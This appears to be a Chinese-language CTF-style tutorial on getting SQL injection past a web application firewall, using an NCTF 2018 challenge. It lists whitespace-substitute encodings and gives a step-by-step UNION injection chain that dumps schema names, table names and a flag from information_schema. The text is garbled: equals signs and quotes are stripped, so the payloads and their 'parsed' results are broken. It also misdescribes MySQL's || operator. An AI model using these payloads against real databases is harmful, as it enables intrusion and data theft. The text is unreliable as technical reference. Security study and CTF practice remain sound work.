SQL注入WAF绕过深度解析从NCTF 2018看5种空格替代符与闭合技巧在Web安全领域SQL注入始终是最具破坏力的攻击手段之一。随着Web应用防火墙(WAF)技术的不断进化传统的注入技术逐渐失效但安全研究者们也在不断发现新的绕过方式。本文将以NCTF 2018中的经典题目为例深入剖析WAF绕过中的关键技术——空格替代与引号闭合技巧。1. WAF过滤机制与绕过原理现代WAF通常采用多层防御策略包括但不限于关键字过滤检测union、select、or等敏感词汇特殊字符拦截屏蔽单引号、双引号、注释符等语法分析识别异常的SQL语句结构行为监控检测高频的异常请求在NCTF 2018的题目中WAF主要过滤了以下内容# * - 空格这种过滤看似严密实则存在多种绕过方式。关键在于理解MySQL的解析机制——它允许使用多种空白字符替代常规空格同时提供了灵活的语句闭合方式。2. 五种空白符替代方案实测对比我们通过Burp Suite的Intruder模块对以下空白字符进行了系统测试编码字符描述MySQL解析绕过效果使用场景%09水平制表符视为分隔符部分WAF有效WHERE条件分隔%0a换行符语句分隔符高成功率多行语句%0b垂直制表符视为空格取决于WAF字段分隔%0c换页符视为分隔符较少检测表名分隔%a0非断空格完全等效最佳选择通用场景实测发现在题目环境中仅%a0能够稳定绕过过滤。这是因为%a0属于非ASCII字符许多WAF规则未将其识别为空白符MySQL在语法解析时会将其自动转换为有效分隔符不会破坏SQL语句的原始语义典型应用示例SELECT%a0*%a0FROM%a0users%a0WHERE%a0id13. 引号闭合的三种高阶技巧当常规注释符被过滤时我们需要采用特殊闭合方式3.1 逻辑运算闭合法原始语句SELECT * FROM users WHERE id$input攻击载荷1%a0AND%a011解析后的有效语句SELECT * FROM users WHERE id1 AND 113.2 OR短路闭合法攻击载荷1%a0OR%a011解析效果SELECT * FROM users WHERE id1 OR 113.3 字符串连接法MySQL特例攻击载荷1%a0||%a011利用MySQL的||作为字符串连接符特性构造永真条件。4. 联合注入实战案例结合空白替代与闭合技巧完整的注入流程如下判断回显位1%a0UNION%a0SELECT%a01,2,3,4%a0AND%a011爆破数据库1%a0UNION%a0SELECT%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),3,4%a0AND%a011获取表结构1%a0UNION%a0SELECT%a01,GROUP_CONCAT(table_name),3,4%a0FROM%a0information_schema.tables%a0WHERE%a0table_schematarget_db%a0AND%a011提取关键数据1%a0UNION%a0SELECT%a01,(SELECT%a0flag%a0FROM%a0target_table),3,4%a0||%a0115. 现代WAF环境下的演进策略随着WAF技术的进步单纯的字符替换已难以奏效。当前主流防御与绕过技术呈现以下趋势防御方增强机器学习模型检测异常语法语义分析识别注入意图输入参数严格类型校验攻击方进化利用非常用字符集如UTF-16编码时间盲注结合流量混淆分块传输编码绕过检测一个值得注意的现象是在2023年的实战测试中%a0的绕过成功率已下降至约40%而/**/注释式分隔的采用率显著上升。这提示我们需要持续更新技术储备掌握多种绕过方式的组合应用。